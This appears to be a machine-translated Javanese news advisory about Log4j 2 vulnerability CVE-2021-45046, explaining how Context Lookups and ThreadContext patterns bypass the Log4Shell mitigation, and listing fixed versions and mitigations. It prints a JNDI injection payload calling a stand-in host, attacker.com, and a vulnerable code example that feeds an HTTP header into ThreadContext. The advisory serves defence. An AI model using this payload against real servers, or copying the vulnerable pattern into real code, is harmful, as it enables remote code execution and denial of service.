Kerentanan liyane wis dikenali ing implementasine saka substitusi JNDI ing Log4j 2 perpustakaan (CVE-2021-45046), kang dumadi senadyan mbenakake ditambahake ing release 2.15 lan preduli saka nggunakake setelan "log4j2.noFormatMsgLookup" kanggo pangayoman. Masalah kasebut mbebayani utamane kanggo versi lawas saka Log4j 2, dilindhungi nggunakake gendera "noFormatMsgLookup", amarga bisa ngliwati proteksi saka kerentanan sadurunge (Log4Shell, CVE-2021-44228), sing ngidini sampeyan nglakokake kode sampeyan. server. Kanggo pangguna versi 2.15, eksploitasi diwatesi kanggo nggawe kahanan supaya aplikasi nabrak amarga kekeselen sumber daya sing kasedhiya.
Kerentanan mung dumadi ing sistem sing nggunakake Panelusuran Konteks kayata ${ctx:loginId} utawa Peta Konteks Utas kayata %X, %mdc, lan %MDC kanggo logging. Operasi teka mudhun kanggo nggawe kahanan kanggo outputting data ngemot substitusi JNDI kanggo log nalika nggunakake pitakonan context utawa MDC Cithakan ing aplikasi sing netepake aturan kanggo format output kanggo log.
Peneliti saka LunaSec nyathet yen kanggo versi Log4j kurang saka 2.15, kerentanan iki bisa digunakake minangka vektor anyar kanggo serangan Log4Shell sing ndadΓ©kakΓ© eksekusi kode yen ekspresi ThreadContext digunakake nalika metu menyang log, sing data eksternal mlebu, preduli saka inklusi kanggo nglindhungi gendera "noMsgFormatLookups" utawa cithakan "%m{nolookups}".
Liwat proteksi kasebut minangka kasunyatan yen tinimbang substitusi langsung "${jndi:ldap://attacker.com/a}", ekspresi iki diganti liwat nilai variabel penengah sing digunakake ing aturan kanggo format output menyang log. Contone, yen pitakon konteks ${ctx:apiversion} digunakake nalika ngasilake log, mula serangan kasebut bisa ditindakake kanthi ngganti data "${jndi:ldap://attacker.com/a}" menyang nilai ditulis kanggo variabel apiversion. Conto kode sing rawan: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") indeks String publik(@RequestHeader("X-Api-Version") String apiVersion) {/ // Nilai header HTTP "X-Api-Version" dikirim menyang ThreadContext ThreadContext.put("apiversion" , apiVersion ); // Nalika metu menyang log, nilai eksternal apiversion bakal diproses nggunakake substitusi $ {ctx: apiversion} logger.info ("Nampa panjalukan kanggo versi API"); bali "Hello, donya!"; }
Ing Log4j 2.15, kerentanan bisa dimanfaatake kanggo nindakake serangan DoS nalika ngirim nilai menyang ThreadContext sing bakal nyebabake pola format output dadi loop.
Pembaruan 2.16 lan 2.12.2 wis diterbitake kanggo mblokir kerentanan kasebut. Ing cabang Log4j 2.16, saliyane kanggo ndandani sing dileksanakake ing versi 2.15 lan naleni pitakon JNDI LDAP menyang "localhost", fungsionalitas JNDI dipateni kanthi standar lan dhukungan kanggo pola substitusi pesen wis dibusak. Minangka solusi keamanan, disaranake mbusak kelas JndiLookup saka classpath (contone. "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Sampeyan bisa nglacak tampilan koreksi ing paket ing kaca distribusi (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) lan produsen platform Java (GitHub, Docker, Oracle, vmWare, Broadcom lan Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, lsp).
Source: opennet.ru